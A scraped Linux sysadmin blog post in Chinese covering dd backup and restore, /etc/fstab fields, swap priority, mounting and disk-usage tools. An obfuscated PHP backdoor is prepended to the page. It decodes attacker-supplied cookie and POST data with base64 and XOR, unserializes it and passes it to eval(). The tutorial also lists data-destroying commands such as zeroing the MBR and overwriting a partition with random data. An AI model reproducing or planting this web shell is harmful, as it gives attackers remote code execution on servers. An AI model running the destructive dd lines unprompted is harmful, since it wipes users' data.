$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 关于文件系统备份、交换分区挂载等–中 | Linux运维部落

关于文件系统备份、交换分区挂载等–中

  1. dd命令:convert and copy a file

  2. 用法:

  3. dd if=/PATH/FROM/SRC of=/PATH/TO/DEST  bs=#block size,

  4. 复制单元大小 count=#:复制多少bs  of=file 写到所命名的文件而不是到标准输出

  5. if=file从所命名文件读取而不是标准输入

  6. bs=size指定块大小(既是ibs也是obs)

  7. ibs=size  一次sizebyte

  8. obs=size  一次sizebyte

  9. cbs=size  一次转sizebyte

  10. skip=blocks从开头忽blocksibs大小的块

  11. seek=blocks从开头忽blocksobs大小的块

  12. count=n      只拷贝n个记录

  13. conv=conversion[,conversion...] 用指定的参数转换文件。

  14. 转换参:

  15. ascii  EBCDIC  ASCII

  16. ebcdic  ASCII  EBCDIC

  17. block 转换为长度 cbs 的记录,不足部分用空格充。

  18. unblock替代cbs长度的每一行尾的格为新行。

  19. lcase 把大写字符转换为小写字符。

  20. ucase 把小写字符转换为大写字符。

  21. swab 交换输入的每对字节。

  22. noerror 出错时不停止。

  23. notrunc 不截短输出文件。

  24. sync 把每个输入块填充ibs个字,不部分用(NUL)字符补齐

  25.  

  26. 磁盘拷贝:

  27. dd if=/dev/sda of=/dev/sdb备份MBR

  28. dd if=/dev/sda of=/tmp/mbr.bak bs=512 count=1

  29. MBR中的bootloader

  30. dd if=/dev/zero of=/dev/sda bs=64 count=1  seek=446

  31. 有二进制文 fileA size>2K。现在想从64个字节位置 开始读取,需要读取的大小128Byts。又有fileB, 想把上 面读取到128Bytes写到第32个字节开始的位置,替换 128Bytes,请问如何实现?

  32. #dd if=fileA of=fileB  bs=1 count=128 skip=63 seek=31

  33. conv=notrunc

  34. 备份:

  35. dd if=/dev/sdx of=/dev/sdy  将本地的/dev/sdx整盘备份/dev/sdy  dd if=/dev/sdx of=/path/to/image

  36. /dev/sdx全盘数据备份到指定路image文件

  37. dd if=/dev/sdx | gzip >/path/to/image.gz

  38. 备份/dev/sdx全盘数据,并利gzip工具进压缩保存到定路

  39.  

  40. 恢复:

  41. dd if=/path/to/image of=/dev/sdx

  42. 将备份文件恢复到指定盘

  43. gzip -dc  /path/to/image.gz | dd of=/dev/sdx

  44. 将压缩的备份文件恢复到指定盘

  45. 拷贝内存资料到硬盘

  46. dd if=/dev/mem of=/root/mem.bin bs=1024

  47. 将内存里的数据拷贝root目录下的mem.bin文件

  48. 从光盘拷iso镜像

  49. dd if=/dev/cdrom  of=/root/cd.iso

  50. 拷贝光盘数据到root文件夹下,并保存为cd.iso文件

  51. 销毁磁盘数据

  52. dd if=/dev/urandom of=/dev/sda1

  53. 利用随机的数据填充硬盘,在某些必要的场合可以用来销毁数据

  54. 执行此操作以后/dev/sda1将无法挂载,创建和拷贝操作无法执行。

  55.  

  56. 得到最恰当block size

  57. dd if=/dev/zero bs=1024 count=1000000  of=/root/1Gb.file

  58. dd  if=/dev/zero bs=2048 count=500000  of=/root/1Gb.file

  59. dd  if=/dev/zero bs=4096 count=250000  of=/root/1Gb.file

  60. dd  if=/dev/zero bs=8192 count=125000 of=/root/1Gb.file

  61. 通过比较dd指令输出中所显示的命令执行时间,即可确定系统 最佳block size大小

  62. 测试硬盘读写速度

  63. dd if=/root/1Gb.file bs=64k |  dd of=/dev/null

  64. dd if=/dev/zero of=/root/1Gb.file bs=1024  count=1000000

  65. 通过上两个命令输出的执行时间,可以计算出测试硬盘的读/写速度

  66. 修复硬盘

  67. dd if=/dev/sda of=/dev/sda  当硬盘较长时间(比12年)放置不使用后,磁盘上 会产生消磁点。当磁头读到这些区域时会遇到困难,并可 能导I/O错误。当这种情况影响到硬盘的第一个扇区时,可能导致硬盘报废。上边的命令有可能使这些数据起死 回生。且这个过程是安全,高效的。

 /etc/fstab 每行定义一个要挂载的文件系统;

要挂载的设备或伪文件系统

挂载点

文件系统类型

挂载选项

转储频率

自检次序

 要挂载的设备或伪文件系统: 设备文件、LABEL(LABEL="")UUID(UUID="")、伪文件系统名称(proc,sysfs)

挂载选项: defaults

转储频率: 0:不做备份

1,每天转储

2:每隔一天转储

自检次序: 0:不自检

1:首先自检;一般只有rootfs才用1

交换分区是系统RAM的补充

基本设置包括:

创建交换分区或者文件

使用mkswap写入特殊签名

/etc/fstab文件中添加适当的条目

使用swapon -a 激活交换空间启用:swapon

swapon [OPTION]… [DEVICE]

-a:激活所有的交换分区;

-p PRIORITY:指定优先级

/etc/fstab:pri=value

禁用:swapoff [OPTION]… [DEVICE]

SWAP的优先级

用户可以给某个swap指定一个032767的优先级

 如果用户没有指定,那么核心会自动给swap指定一个优 先级,这个优先级从-1开始,每加入一个新的没有用户 指定优先级的swap,会给这个优先级减一。

先添加的swap的缺省优先级比较高,除非用户自己指定 一个优先级,而用户指定的优先级(是正数)永远高于核心 缺省指定的优先级(是负数)

优化性能:分布存放,高性能磁盘存放

挂载(Mounting)意味着使外来的文件系统看起来如同是主

目录树的一部分。

访问前、介质必须被挂载

摘除时,介质必须被卸载

按照默认设置,非根用户只能挂载某些设备(光盘、DVD、软盘、USB等等)

挂载点通常在/media /mnt在图形环境下自动启动挂载/run/media/<user>/<label>

否则就必须被手工挂载

mount /dev/cdrom /mnt/

eject命令卸载或弹出磁盘

创建ISO文件

cp /dev/cdrom /root/centos7.iso

genisoimage/mkisofs -r -o /root/etc.iso /etc

刻录光盘

wodim –v –eject centos.iso被内核探测为SCSI设备

/dev/sdaX/dev/sdbX、或类似的设备文件

在图形环境中自动挂载

图标在[计算机]窗口中创建

挂载在/run/media/<user>/<label>

手动挂载mount /dev/sdb1 /mnt

内存空间使用状态:

free [OPTION]

-m: MB为单位

-g: GB为单位

文件系统空间占用等信息的查看工具:

df [OPTION]… [FILE]…

  -h  1024

-H  1000

-T 文件系统类型

-h: human-readable

-iinodes instead of blocks

-P: Posix兼容的格式输出

查看某目录总体空间占用状态:

du [OPTION]… DIR

-h: human-readable

-s: summary

原创文章,作者:sjfbjs,如若转载,请注明出处:http://www.178linux.com/41378

(0)
上一篇 2016-08-29 08:44
下一篇 2016-08-29 08:44

相关推荐

  • Linux下DNS服务器配置

    Linux下DNS服务器配置 简要描述各种DNS服务器的配置方法。包括正向解析DNS服务器、逆向解析DNS服务器、主从DNS服务器。 实验环境整体配置 关闭SElinux setenfore 0 清空防火墙 iptables -F 修改主配置文件 /etc/named.conf #监听本机外网端口 listen-on port 53 { 127.0.0.1;…

    Linux干货 2017-05-31
  • 重定向以及管道

    描述I/O设备的重定向

    Linux干货 2017-11-19
  • 网络管理

    1、集线器、交换机、路由器 2、路由器与交换机的主要区别体现在以下几个方面: 1)工作层次不同:最初的的交换机是工作在OSI/RM开放体系结构的数据链路层,也就是第二层,而路由器一开始就设计工作在OSI模型的网络层。由于交换机工作在OSI的第 二层(数据链路层),所以它的工作原理比较简单,而路由器工作在OSI的第三层(网络层),可得到更多的协议信息,路由器可…

    Linux干货 2016-09-08
  • 文本处理三剑客之awk

    一、知识整理 1、awk报告生成器,格式化文本输出 发明人:a.k.a. Aho,Kernighan,weinberger awk程序通常由:BEGIN语句块、能够使用模式匹配的通用语句块、END语句块三部分组成。program通常是放在单引号或双引号中。 基本用法:awk [] ‘program’ var=value fiel… pr…

    Linux干货 2016-09-26
  • CentOS7.3系统上编译安装httpd.2.4.25

    本文所做的所有操作是在一部新安装的CentOS7.3系统上。 1.环境与配置 环境说明:VMware上安装的CentOS7.3系统,7.3完整版光盘做成的yum源 配置:编译生成的所有的文件都存放在/usr/local/httpd24/这个目录下 2.安装GCC编译器 #安装Development tools这个软件包组 [root@pxe68 ~]# yu…

    2017-04-20
  • Shell编程if语句

    Shell编程if语句 条件选择if语句(#if输入keywork) 选择执行: 注意:if语句可嵌套 单分支 if 判断条件(#如果为真执行下一条);then 条件为真的分支代码 fi(结尾) 双分支 if 判断条件; then 条件为真的分支代码 else 条件为假的分支代码 fi if 语句 多分支 if 判断条件1; then 条件为真的分支代码 e…

    2018-01-01